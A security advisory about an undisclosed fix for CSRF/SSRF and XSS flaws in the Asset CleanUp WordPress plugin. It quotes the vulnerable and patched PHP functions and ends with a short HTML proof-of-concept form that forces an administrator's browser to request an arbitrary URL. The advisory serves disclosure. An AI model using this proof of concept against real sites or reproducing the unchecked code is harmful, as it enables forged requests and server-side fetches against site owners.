Vulnerability Details: Multiple in Asset CleanUp
It’s a bit of a concern when a developer isn’t disclosing in the changelog that they have fixed a vulnerability in their plugin, especially if they had already disclosed it. That is just what happened with the latest version of Asset CleanUp, which has the following changelog entries:
- Option to skip Autoptimize cache clearing via using the “WPACU_DO_NOT_ALSO_CLEAR_AUTOPTIMIZE_CACHE” constant (e.g. set to ‘true’ in wp-config.php)
- Fix: Make sure that applying to unload on all pages of a certain post type works from “CSS & JS MANAGER” (which is the new place for managing CSS/JS files within the Dashboard, outside the edit post/page area)
- Fix: Manage assets didn’t work on “CSS & JS MANAGER” -> “Homepage” tab if the actual page was a static one set in “Settings” -> “Reading”
Missing from that is what was mentioned in a message when committing part of the changes for the new version:
Fix: “ajaxPreloadGuest” didn’t have any security checks
Looking at the changes made in that commit, though, showed that there looked to be a security check in place, but further checking confirmed that another check was missing. The lack of that check meant there was previously cross-site request fogery (CSRF)/server-side request forgery (SSRF) vulnerability and a related cross-site scripting (XSS) vulnerability.
In the previous version, the function was as follows:
1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 | public function ajaxPreloadGuest() { if (! Menu::userCanManageAssets()) { echo 'Error: Not enough privileges to perform this action.'; exit(); } $pageUrl = isset($_POST['page_url']) ? $_POST['page_url'] : false; $pageUrlPreload = add_query_arg( array( 'wpacu_preload' => 1 ), $pageUrl ); if (! filter_var($pageUrlPreload, FILTER_VALIDATE_URL)) { echo 'The URL `'.$pageUrlPreload.'` is not valid.'; exit(); } $response = wp_remote_get($pageUrlPreload); if (is_wp_error($response)) { // Any error generated during the fetch? Print it echo 'Error: '.$response->get_error_code(); } else { // No errors echo 'Status Code: '.wp_remote_retrieve_response_code($response).' / Page URL (preload): ' . $pageUrlPreload . "\n\n"; echo (isset($response['body']) ? $response['body'] : 'No "body" key found from wp_remote_get(), the preload might not have triggered'); } exit(); } |
That function is accessed through WordPress’ AJAX functionality and is limited by that to those logged in to WordPress:
71 | add_action('wp_ajax_' . WPACU_PLUGIN_ID . '_preload', array($this, 'ajaxPreloadGuest'), PHP_INT_MAX); |
Access was further limited to Administrators through the first code in the function. The problem is that the code lack a check for a valid nonce, so CSRF was possible.
The rest of the code makes a request to URL specified with the request to it, which would allow SSRF to occur. So an attacker could cause a request to be sent from the server the website is hosted on to an arbitrary URL. It then output the contents of the specified URL, which would allow XSS to occur, if JavaScript were on the URL requested.
In the new version, a nonce check has been added:
1206 1207 1208 1209 1210 1211 1212 | public function ajaxPreloadGuest() { // Check nonce if ( ! isset( $_POST['wpacu_ajax_preload_url_nonce'] ) || ! wp_verify_nonce( $_POST['wpacu_ajax_preload_url_nonce'], 'wpacu_ajax_preload_url_nonce' ) ) { echo 'Error: The security nonce is not valid.'; exit(); } |
The URL requested is also restricted to ones that include the website’s site URL.
Proof of Concept
The following proof of concept will cause a request to be made to the specified URL, when logged in as an Administrator.
Replace “[path to WordPress]” with the location of WordPress and “[URL]” with the URL to be requested.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wpassetcleanup_preload" method="POST"> <input type="hidden" name="page_url" value="[URL]" /> <input type="submit" value="Submit" /> </form> </body> </html>